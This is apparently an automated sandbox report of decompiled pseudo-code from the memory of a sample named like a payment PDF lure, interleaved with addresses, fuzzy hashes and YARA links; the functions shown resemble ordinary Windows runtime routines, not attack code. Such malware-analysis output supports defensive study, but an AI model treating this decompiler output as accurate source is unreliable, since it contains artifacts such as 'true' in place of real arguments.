					 *(_t71 + 0x10c) =  *(_t71 + 0x10c) & 0x00000000;
					_t19 = _t71 + 0x110; // 0x110
					_t53 = _t19;
					 *((intOrPtr*)(_t53 + 4)) = _t53;
					 *_t53 = _t53;
					 *((intOrPtr*)(_t71 + 0xf8)) = 0x33441088;
					 *(_t71 + 0xfc) = _t61;
					 *((char*)(_t71 + 0x100)) = _t65;
					 *((intOrPtr*)(_t71 + 0x30)) = _a8;
					 *_a4 = _t71;
					goto L10;
				}
			}

0x3347418a
0x334d00c3
0x334d00c3
0x00000000
0x3347419a
0x3347419a
0x3347419f
0x3347429e
0x00000000
0x00000000
0x00000000
0x334742a4
0x334741a5
0x334741b2
0x00000000
0x00000000
0x334741b8
0x334741bd
0x334741be
0x334741db
0x334741df
0x334d0079
0x3347428e
0x00000000
0x33474291
0x334741e8
0x334741ea
0x334741ed
0x334741f3
0x334741fb
0x334741ff
0x334d0092
0x334d0092
0x334d0092
0x334d009b
0x334d009d
0x334d009f
0x334d009f
0x334d00a4
0x334d00b9
0x00000000
0x334d00b9
0x3347421c
0x33474220
0x00000000
0x00000000
0x33474226
0x33474229
0x33474229
0x3347422f
0x33474239
0x33474239
0x33474241
0x334d0083
0x334d0086
0x334d0088
0x334d008b
0x33474247
0x3347424a
0x3347424f
0x33474255
0x33474255
0x3347425b
0x33474262
0x33474262
0x33474268
0x3347426b
0x33474270
0x3347427a
0x33474280
0x33474286
0x3347428c
0x00000000
0x3347428c

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4d433de29bf5dd9662e2090ec3ce77de14f4b4fd2d8b65955466a75c241e6a2
Instruction ID: c818ca46088d33e5d082bc67d79f5a6976eb4c927188e3d17f64ebe0b8741c29
Opcode Fuzzy Hash: c4d433de29bf5dd9662e2090ec3ce77de14f4b4fd2d8b65955466a75c241e6a2
Instruction Fuzzy Hash: 0741E075501B40EFD322CF28E890FD677E8EF45350F058829E9A98B751DB78E841CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 334966E0 Relevance: .1, Instructions: 102
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E334966E0(void* __ecx, void* __edx, signed int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				char _v8;
				char _v12;
				void* _t45;
				intOrPtr* _t51;
				intOrPtr _t53;
				intOrPtr _t54;
				intOrPtr* _t56;
				void* _t71;
				intOrPtr* _t74;

				_t68 = __edx;
				_t58 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t56 = _a16;
				if(_t56 != 0) {
					 *_t56 = 0;
					_v8 = 0;
					L33492DB0(_a4 | 0x00000030,  &_v12, 0,  &_v8);
					_t74 = L33485D90(_t58,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", 0x10);
					if(_t74 != 0) {
						if( *((intOrPtr*)( *[fs:0x18] + 0xfb8)) == 0) {
							L8:
							if( *((intOrPtr*)( *[fs:0x18] + 0xfc0)) == 0) {
								L11:
								if( *((intOrPtr*)( *[fs:0x18] + 0xfbc)) == 0) {
									L14:
									 *((intOrPtr*)(_t74 + 0xc)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
									_t71 = E334964E0(_t68, _a4, _a8, _a12);
									if(_t71 >= 0) {
										 *_t56 = _t74;
										_t74 = 0;
									}
									L16:
									if(_t74 != 0) {
										E3349332D( *_t74);
										L334ABD71(E3349332D( *((intOrPtr*)(_t74 + 4))),  *((intOrPtr*)(_t74 + 8)), _t68);
										E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t74);
									}
									_t45 = _t71;
									L19:
									L2:
									return _t45;
								}
								_t51 = L33513EFC( *((intOrPtr*)( *[fs:0x18] + 0xfbc)));
								 *((intOrPtr*)(_t74 + 8)) = _t51;
								if(_t51 == 0) {
									L20:
									_t71 = 0xc0000017;
									goto L16;
								}
								 *( *_t51 + 0x20) =  *( *_t51 + 0x20) & 0xffffffbf;
								goto L14;
							}
							_t53 = L33495E34( *((intOrPtr*)( *[fs:0x18] + 0xfc0)));
							 *((intOrPtr*)(_t74 + 4)) = _t53;
							if(_t53 == 0) {
								goto L20;
							}
							 *(_t53 + 0x20) =  *(_t53 + 0x20) & 0xffffffbf;
							goto L11;
						}
						_t54 = L33495E34( *((intOrPtr*)( *[fs:0x18] + 0xfb8)));
						 *_t74 = _t54;
						if(_t54 == 0) {
							goto L20;
						}
						 *(_t54 + 0x20) =  *(_t54 + 0x20) & 0xffffffbf;
						goto L8;
					}
					_t45 = 0xc0000017;
					goto L19;
				}
				_t45 = E334964E0(__edx, _a4, _a8, _a12);
				goto L2;
			}

0x334966e0
0x334966e0
0x334966e5
0x334966e6
0x334966e8
0x334966ed
0x334dc2d4
0x334dc2dd
0x334dc2e1
0x334dc2f8
0x334dc2fc
0x334dc314
0x334dc336
0x334dc342
0x334dc365
0x334dc371
0x334dc392
0x334dc3a4
0x334dc3ac
0x334dc3b0
0x334dc3b2
0x334dc3b4
0x334dc3b4
0x334dc3b6
0x334dc3b8
0x334dc3bc
0x334dc3cc
0x334dc3dd
0x334dc3dd
0x334dc3e2
0x334dc3e4
0x33496701
0x33496703
0x33496703
0x334dc380
0x334dc385
0x334dc38a
0x334dc3eb
0x334dc3eb
0x00000000
0x334dc3eb
0x334dc38e
0x00000000
0x334dc38e
0x334dc351
0x334dc356
0x334dc35b
0x00000000
0x00000000
0x334dc361
0x00000000
0x334dc361
0x334dc323
0x334dc328
0x334dc32c
0x00000000
0x00000000
0x334dc332
0x00000000
0x334dc332
0x334dc2fe
0x00000000
0x334dc2fe
0x334966fc
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b5ea768f5c6f27d87bba895ac2d90d9c232eb6d903ecbccf215107f60aedf4c
Instruction ID: 75f5d3a003b6704a199e443801420f5bea47a5b4a965afbaaf2a320238c04917
Opcode Fuzzy Hash: 3b5ea768f5c6f27d87bba895ac2d90d9c232eb6d903ecbccf215107f60aedf4c
Instruction Fuzzy Hash: D341F0B6500B85DFD732CF54C990F9A7BA5FB44B50F008678E4598BAA1CB35EC01DB98

Uniqueness

Uniqueness Score: -1.00%

Function 33495004 Relevance: .1, Instructions: 101
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E33495004(intOrPtr __ecx, signed short __edx, char _a4, short* _a8) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				signed int _v20;
				char _v21;
				char _v33;
				void* _t24;
				signed int _t25;
				short* _t36;
				signed short _t38;
				short _t42;
				intOrPtr _t47;
				signed short* _t49;
				intOrPtr _t52;
				signed int _t53;
				void* _t55;

				_v21 = 0;
				_v16 = __ecx;
				_t38 = __edx;
				_t55 = 0xc0000034;
				if(__ecx == 0 || __edx == 0) {
					_t24 = 0xc000000d;
					goto L10;
				} else {
					if(__edx == 0x1000) {
						_t24 = 0xc0000034;
						L10:
						return _t24;
					}
					_t47 =  *((intOrPtr*)(__ecx + 0x14));
					_t42 = 0;
					_t25 =  *(_t47 + 6) & 0x0000ffff;
					_v20 = _t25;
					if(_t25 == 0) {
						L12:
						_t52 = L33485D90(_t42,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", 0xaa);
						if(_t52 == 0) {
							_t55 = 0xc0000017;
							L15:
							_t24 = _t55;
							goto L10;
						}
						_v8 = _t52;
						_v12 = 0xaa0000;
						if(_a4 != 0) {
							if(L33494F40(_t38 & 0x0000ffff,  &_v12) != 0) {
								_t55 = E33494783(_v16, _v8, 0, _a8);
							}
						}
						E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t52);
						if(_v33 != 0) {
							if(_t55 != 0xc0000034) {
								goto L15;
							}
							_t24 = 0xc00000bb;
							goto L10;
						} else {
							goto L15;
						}
					} else {
						_t49 =  *(_t47 + 0xc);
						do {
							if(_t49[2] != _t38) {
								goto L11;
							}
							_t53 =  *_t49 & 0x0000ffff;
							if((_t53 & 0x00001020) != 0x20) {
								_t25 = _v20;
								if((_t53 & 0x00001000) != 0) {
									_v21 = 1;
								}
								goto L11;
							}
							_t36 = _a8;
							if(_t36 != 0) {
								 *_t36 = _t42;
							}
							_t24 = 0;
							goto L10;
							L11:
							_t42 = _t42 + 1;
							_t49 =  &(_t49[0xe]);
						} while (_t42 < _t25);
						goto L12;
					}
				}
			}

0x33495012
0x33495017
0x33495020
0x33495024
0x33495029
0x334db9a1
0x00000000
0x33495038
0x33495040
0x334db96a
0x33495080
0x33495086
0x33495086
0x33495046
0x33495049
0x3349504b
0x3349504f
0x33495055
0x33495091
0x334950a7
0x334950ab
0x33495108
0x334950dc
0x334950dc
0x00000000
0x334950dc
0x334950b1
0x334950b5
0x334950bd
0x334950f0
0x33495104
0x33495104
0x334950f0
0x334950cc
0x334950d6
0x334db991
0x00000000
0x00000000
0x334db997
0x00000000
0x00000000
0x00000000
0x00000000
0x33495057
0x33495057
0x3349505a
0x3349505e
0x00000000
0x00000000
0x33495060
0x3349506e
0x334db971
0x334db97b
0x334db981
0x334db981
0x00000000
0x334db97b
0x33495074
0x33495079
0x3349507b
0x3349507b
0x3349507e
0x00000000
0x33495089
0x33495089
0x3349508a
0x3349508d
0x00000000
0x3349505a
0x33495055

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9a1b4e739a61d39d5391a5ebe807c26577b61d7282414683b6545c56c7ed405
Instruction ID: 6a8d40d06044f97caff53fb25608d62bdad11197c756c7f6780241fb31afce58
Opcode Fuzzy Hash: e9a1b4e739a61d39d5391a5ebe807c26577b61d7282414683b6545c56c7ed405
Instruction Fuzzy Hash: EB315B756083419FF710DB28C410B96BFD4AB85390F6A85ADF9D58B381D636C842C7DA

Uniqueness

Uniqueness Score: -1.00%

Function 334EE79D Relevance: .1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E334EE79D() {
				void* _t21;
				signed int _t22;
				signed int _t24;
				intOrPtr _t26;
				signed int _t27;
				signed char* _t40;
				signed int _t46;
				signed int _t47;
				signed int _t54;
				signed int _t57;

				_t21 = L33483C40();
				_t54 = 0x7ffe0384;
				if(_t21 == 0) {
					_t22 = 0x7ffe0384;
				} else {
					_t22 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				}
				_t47 = _t46 | 0xffffffff;
				_t57 = 0x7ffe0385;
				if( *_t22 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
					if(L33483C40() == 0) {
						_t40 = 0x7ffe0385;
					} else {
						_t40 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					_t64 =  *_t40 & 0x00000020;
					if(( *_t40 & 0x00000020) != 0) {
						E334F0227(0x1480, _t47, _t47, _t47, 0, 0);
					}
				}
				if(L334A0990(_t64, 0x33563390) == 0) {
					_t24 = L33483C40();
					__eflags = _t24;
					if(_t24 != 0) {
						_t54 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						__eflags = _t54;
					}
					__eflags =  *_t54;
					if( *_t54 != 0) {
						_t26 =  *[fs:0x30];
						__eflags =  *(_t26 + 0x240) & 0x00000004;
						if(( *(_t26 + 0x240) & 0x00000004) != 0) {
							_t27 = L33483C40();
							__eflags = _t27;
							if(_t27 != 0) {
								_t57 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								__eflags = _t57;
							}
							__eflags =  *_t57 & 0x00000020;
							if(( *_t57 & 0x00000020) != 0) {
								E334F0227(0x1482, _t47, _t47, _t47, 0, 0);
							}
						}
					}
					__eflags = 0;
					return 0;
				}
				if(L33483C40() != 0) {
					_t54 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				}
				if( *_t54 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
					if(L33483C40() != 0) {
						_t57 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t57 & 0x00000020) != 0) {
						E334F0227(0x1481, _t47, _t47, _t47, 0, 0);
					}
				}
				return 1;
			}

0x334ee7a2
0x334ee7a7
0x334ee7ae
0x334ee7c0
0x334ee7b0
0x334ee7b9
0x334ee7b9
0x334ee7c2
0x334ee7c5
0x334ee7cd
0x334ee7e5
0x334ee7f7
0x334ee7e7
0x334ee7f0
0x334ee7f0
0x334ee7f9
0x334ee7fc
0x334ee80b
0x334ee80b
0x334ee7fc
0x334ee81c
0x334ee87d
0x334ee882
0x334ee884
0x334ee88f
0x334ee88f
0x334ee88f
0x334ee895
0x334ee898
0x334ee89a
0x334ee8a0
0x334ee8a7
0x334ee8a9
0x334ee8ae
0x334ee8b0
0x334ee8bb
0x334ee8bb
0x334ee8bb
0x334ee8c1
0x334ee8c4
0x334ee8d3
0x334ee8d3
0x334ee8c4
0x334ee8a7
0x334ee8d8
0x00000000
0x334ee8d8
0x334ee825
0x334ee830
0x334ee830
0x334ee839
0x334ee851
0x334ee85c
0x334ee85c
0x334ee865
0x334ee874
0x334ee874
0x334ee865
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a03fbd758adbd60063ee0407e930ef6bc53882976c810fd85aaa1f9ad6ee313
Instruction ID: 4ed2879ce6401b8a3b37df24b3017e2b9b6281384a434ee39e66003f8ba6db07
Opcode Fuzzy Hash: 8a03fbd758adbd60063ee0407e930ef6bc53882976c810fd85aaa1f9ad6ee313
Instruction Fuzzy Hash: DC31E4BAB417809FF3128759C944B1577D8FF41B85F5D04F4A9449BBF2EB29D880C268

Uniqueness

Uniqueness Score: -1.00%

Function 3346D64A Relevance: .1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E3346D64A(intOrPtr __ecx, void* __edx, intOrPtr* _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t28;
				void* _t32;
				void* _t34;
				intOrPtr _t35;
				intOrPtr* _t36;
				void* _t39;
				void* _t40;
				intOrPtr* _t41;

				_t35 = __ecx;
				_t41 = _a12;
				_t39 = __edx;
				_v12 = __ecx;
				if(_a8 == 0) {
					if(_t41 != 0) {
						L2:
						_t20 =  *_t41;
						L3:
						_v16 = _v16 & 0x00000000;
						_t21 = _t20 + 0xc;
						_v8 = _t21;
						if(_t21 == 0) {
							_t34 = 0;
						} else {
							_t32 = L33485D90(_t35,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", _t21);
							_t35 = _v12;
							_t34 = _t32;
							_t21 = _v8;
						}
						if(_t34 == 0) {
							_t40 = 0xc000009a;
							goto L20;
						} else {
							_push( &_v16);
							_push(_t21);
							_push(_t34);
							_push("true");
							_push(_t39);
							_push(_t35);
							_t40 = E334B2B00();
							if(_t40 == 0xc0000034) {
								L13:
								if(_t40 >= 0) {
									L15:
									if(_t41 != 0) {
										 *_t41 =  *((intOrPtr*)(_t34 + 8));
									}
									_t36 = _a4;
									if(_t36 != 0) {
										 *_t36 =  *((intOrPtr*)(_t34 + 4));
									}
									L19:
									E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t34);
									L20:
									return _t40;
								}
								L14:
								if(_t40 != 0x80000005) {
									goto L19;
								}
								goto L15;
							}
							if(_t40 < 0) {
								goto L14;
							}
							if(_a8 == 0 || _t41 == 0) {
								goto L13;
							} else {
								_t28 =  *((intOrPtr*)(_t34 + 8));
								if(_t28 >  *_t41) {
									_t40 = 0x80000005;
									goto L15;
								} else {
									if(_t28 <= _v8) {
										_t14 = _t34 + 0xc; // 0xc
										L334B88C0(_a8, _t14, _t28);
									}
									goto L13;
								}
							}
						}
					}
					_t20 = 0;
					goto L3;
				}
				if(_t41 == 0) {
					return 0xc000000d;
				}
				goto L2;
			}

0x3346d64a
0x3346d658
0x3346d65c
0x3346d65e
0x3346d661
0x3346d722
0x3346d66f
0x3346d66f
0x3346d671
0x3346d671
0x3346d675
0x3346d678
0x3346d67b
0x334ca6ef
0x3346d681
0x3346d68d
0x3346d692
0x3346d695
0x3346d697
0x3346d697
0x3346d69c
0x334ca6f6
0x00000000
0x3346d6a2
0x3346d6a5
0x3346d6a6
0x3346d6a7
0x3346d6a8
0x3346d6aa
0x3346d6ab
0x3346d6b1
0x3346d6b9
0x3346d6e5
0x3346d6e7
0x3346d6f1
0x3346d6f3
0x3346d6f8
0x3346d6f8
0x3346d6fa
0x3346d6ff
0x3346d704
0x3346d704
0x3346d706
0x3346d712
0x3346d717
0x00000000
0x3346d717
0x3346d6e9
0x3346d6ef
0x00000000
0x00000000
0x00000000
0x3346d6ef
0x3346d6bd
0x00000000
0x00000000
0x3346d6c3
0x00000000
0x3346d6c9
0x3346d6c9
0x3346d6ce
0x3346d72f
0x00000000
0x3346d6d0
0x3346d6d3
0x3346d6d6
0x3346d6dd
0x3346d6e2
0x00000000
0x3346d6d3
0x3346d6ce
0x3346d6c3
0x3346d69c
0x3346d728
0x00000000
0x3346d728
0x3346d669
0x00000000
0x334ca6e5
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e305e0d7f41ac056458eddf92bc4299b25b47a72481478b7a5e1aaa482e8e8be
Instruction ID: 36c35490cc8e3255afea1c5dcb7fd4633c37bd32c21e22b1c50e56c1770f1703
Opcode Fuzzy Hash: e305e0d7f41ac056458eddf92bc4299b25b47a72481478b7a5e1aaa482e8e8be
Instruction Fuzzy Hash: A431E6BAA00344AFEB11DF54C980F6E73B9DB4575DF198429EC48AB360D634DD41CB58

Uniqueness

Uniqueness Score: -1.00%

Function 335417BC Relevance: .1, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E335417BC(intOrPtr __ecx, signed int __edx, intOrPtr _a4, intOrPtr _a8) {
				signed short _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed int _t55;
				void* _t61;
				signed short _t71;
				intOrPtr _t77;
				short _t79;
				signed short _t81;
				intOrPtr _t82;
				signed int _t85;
				signed short _t88;
				void* _t89;
				intOrPtr _t91;
				intOrPtr _t93;
				signed int _t95;
				signed short _t96;

				_t80 = __ecx;
				_t77 = _a4;
				_t88 = 0;
				_t55 = (__edx & 0x0000ffff) << 2;
				_t95 = _t55;
				_v20 = __ecx;
				_v16 = _t55;
				if(_a8 > 0) {
					do {
						_t95 = _t95 +  *(_t88 + _t77 + 0x2c) * 2;
						_t88 = _t88 + (( *(_t88 + _t77 + 4) & 0x0000ffff) + 0x00000007 & 0xfffffff8);
					} while (_t88 < _a8);
				}
				_t91 = L33485D90(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", _t95);
				_v24 = _t91;
				if(_t91 != 0) {
					_t81 = 0;
					_v8 = 0;
					_t96 = 0;
					_v16 = _v16 + _t91;
					_t89 = 0;
					if(_a8 > 0) {
						do {
							_v12 = _v12 & 0x00000000;
							 *((intOrPtr*)(_t91 + (_t96 & 0x0000ffff) * 4)) = _v16 + (_t81 & 0x0000ffff) * 2;
							_t81 = _v8;
							if( *((intOrPtr*)(_t89 + _t77 + 0x2c)) > 0) {
								_t93 = _v20;
								do {
									_t85 = _t81 & 0x0000ffff;
									 *((short*)(_v16 + _t85 * 2)) = _v8;
									_t79 = _v12;
									 *( *((intOrPtr*)(_t93 + 0x178)) + _t85 * 4) = _t96;
									 *((short*)( *((intOrPtr*)(_t93 + 0x178)) + 2 + _t85 * 4)) = _t79;
									_t77 = _a4;
									_t81 = _v8 + 1;
									_t71 = _t79 + 1;
									_v8 = _t81;
									_v12 = _t71;
								} while ((_t71 & 0x0000ffff) <  *((intOrPtr*)(_t89 + _t77 + 0x2c)));
								_t91 = _v24;
							}
							_t96 = _t96 + 1;
							_t89 = _t89 + (( *(_t89 + _t77 + 4) & 0x0000ffff) + 0x00000007 & 0xfffffff8);
						} while (_t89 < _a8);
					}
					_t82 = _v20;
					 *(_t82 + 0x15c) = _t96 & 0x0000ffff;
					_t61 = 0;
					 *((intOrPtr*)(_t82 + 0x160)) = _t91;
				} else {
					_t61 = 0xc0000017;
				}
				return _t61;
			}

0x335417bc
0x335417c5
0x335417cb
0x335417cd
0x335417d1
0x335417d3
0x335417d7
0x335417dd
0x335417df
0x335417e3
0x335417f1
0x335417f3
0x335417df
0x33541809
0x3354180b
0x33541810
0x3354181f
0x33541823
0x33541826
0x33541828
0x3354182b
0x33541830
0x33541832
0x33541832
0x33541842
0x3354184a
0x3354184d
0x3354184f
0x33541852
0x33541858
0x3354185b
0x33541865
0x33541868
0x33541872
0x3354187c
0x3354187f
0x33541880
0x33541881
0x33541884
0x3354188a
0x33541890
0x33541890
0x33541898
0x3354189f
0x335418a1
0x33541832
0x335418a6
0x335418ac
0x335418b2
0x335418b4
0x33541812
0x33541812
0x33541812
0x335418be

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f358b4da7ece904735c98e6deffe8cfe7244b66df3bddd27f976fef8ef0900c8
Instruction ID: 87b8d9d18965d95325dc6b7bf52d5c673da89260fd4cca8b2a52d7aaff6f8875
Opcode Fuzzy Hash: f358b4da7ece904735c98e6deffe8cfe7244b66df3bddd27f976fef8ef0900c8
Instruction Fuzzy Hash: 373190B2E00219EFC704DF69C880AADB7F1FF58315F158169E855DB341D734AA11CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 334942AF Relevance: .1, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E334942AF(void* __ecx, void* __edx) {
				char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				signed int _t42;
				void* _t47;
				intOrPtr _t51;
				intOrPtr _t54;
				intOrPtr _t55;
				intOrPtr _t56;
				intOrPtr _t61;
				signed int _t64;
				void* _t65;

				_t65 = __ecx;
				_v8 = 0;
				if(__ecx == 0) {
					L17:
					return 0xc0000001;
				}
				 *(__ecx + 0x18) =  *(__ecx + 0x18) & 0;
				 *(__ecx + 0x1c) =  *(__ecx + 0x1c) & 0;
				if( *((short*)(__ecx + 4)) > 0x40) {
					goto L17;
				}
				_t51 = L33485D90(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", 0xaa);
				if(_t51 == 0) {
					return 0xc0000017;
				}
				_t64 = ( *(_t65 + 4) & 0x0000ffff) - 1;
				if(_t64 < 0) {
					L13:
					E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t51);
					return 0;
				}
				_v12 = _t64 * 6;
				do {
					_t42 = E334B6600(1, _t64, 0);
					_v20 = 0;
					_t60 = _v12 +  *((intOrPtr*)(_t65 + 0x10));
					_v16 = _t42;
					if(0 ==  *((intOrPtr*)(_v12 +  *((intOrPtr*)(_t65 + 0x10))))) {
						goto L12;
					}
					_t54 =  *0x33566800; // 0x314eeb0
					_v24 = _t51;
					_v28 = 0xaa0000;
					if(E33494443(_t54, _t60,  &_v28) < 0) {
						goto L12;
					}
					_t55 =  *0x33566800; // 0x314eeb0
					_t61 = _v24;
					if( *((intOrPtr*)(_t55 + 0x48)) < 0x3e8) {
						_t47 = E33494783(_t55, _t61, "true",  &_v8);
						L10:
						if(_t47 < 0) {
							goto L12;
						}
						L11:
						 *(_t65 + 0x18) =  *(_t65 + 0x18) | _v16;
						 *(_t65 + 0x1c) =  *(_t65 + 0x1c) | _v20;
						goto L12;
					}
					if(E334943AC(_t55, _t61) >= 0) {
						goto L11;
					}
					_t56 =  *0x33566800; // 0x314eeb0
					_t47 = L33492CB1(_t56, _v24);
					goto L10;
					L12:
					_v12 = _v12 - 6;
					_t64 = _t64 - 1;
				} while (_t64 >= 0);
				goto L13;
			}

0x334942b9
0x334942bd
0x334942c4
0x334db475
0x00000000
0x334db475
0x334942ca
0x334942cd
0x334942d5
0x00000000
0x00000000
0x334942f1
0x334942f5
0x00000000
0x334db45b
0x334942ff
0x33494302
0x33494394
0x334943a0
0x00000000
0x334943a5
0x3349430b
0x3349430e
0x33494315
0x3349431a
0x33494320
0x33494323
0x3349432b
0x00000000
0x00000000
0x3349432d
0x33494337
0x3349433a
0x33494348
0x00000000
0x00000000
0x3349434a
0x33494350
0x3349435a
0x334db46b
0x33494377
0x33494379
0x00000000
0x00000000
0x3349437b
0x3349437e
0x33494384
0x00000000
0x33494384
0x33494367
0x00000000
0x00000000
0x3349436c
0x33494372
0x00000000
0x33494387
0x33494387
0x3349438b
0x3349438b
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fb3ddbd418981ec56a08fe8107b27a3567ed3a7e4fa4d1513e67b220d9dab56
Instruction ID: 84f07ae716151756107d61b756e40cd3cdc4e84d5e72ac9544045e37b8fc8b9a
Opcode Fuzzy Hash: 9fb3ddbd418981ec56a08fe8107b27a3567ed3a7e4fa4d1513e67b220d9dab56
Instruction Fuzzy Hash: D6317C71F007059FE720DFB8D980AAEBBFAAB88348F508529D545D7790D730D986CB98

Uniqueness

Uniqueness Score: -1.00%

Function 334791E5 Relevance: .1, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E334791E5(signed int __ecx, intOrPtr* __edx, char _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr* _a20, intOrPtr* _a24, signed int* _a28) {
				signed int _v8;
				char _v12;
				char _v16;
				signed int _v20;
				intOrPtr _v24;
				void* _v28;
				void* _v32;
				void* _v36;
				void* _v40;
				signed char* _t34;
				signed char* _t36;
				intOrPtr* _t52;
				signed int _t68;
				signed int _t70;
				void* _t71;

				_t70 = __ecx;
				_t52 = __edx;
				_v8 = __ecx;
				 *_a20 = 0;
				_v16 = 0;
				_v20 = 0;
				 *_a24 = 0;
				_v12 = 0;
				 *_a28 = 0;
				if(L33483C40() != 0) {
					_t34 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
				} else {
					_t34 = 0x7ffe0385;
				}
				if(( *_t34 & 0x00000001) != 0) {
					if(L33483C40() == 0) {
						_t36 = 0x7ffe0384;
					} else {
						_t36 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					L334FFC01(_t52,  *_t36 & 0x000000ff);
				}
				_t71 = E3347965A(_t70, _t52, _a4,  &_v16,  &_v20,  &_v12);
				if(_t71 >= 0) {
					_t68 = _v20 | 0x00000001;
					if(E3347878D(_t68, _t52, _a12, _a8, _a16) == 0) {
						_push(_v20);
						_push(0xffffffff);
						L334B2C50();
						_push(_v24);
						E334B2A80();
						_t71 = 0xc00b0002;
					} else {
						 *_a20 = _v16;
						 *_a24 = _v12;
						 *_a28 = _t68;
					}
				}
				return _t71;
			}

0x334791f5
0x334791f7
0x334791fb
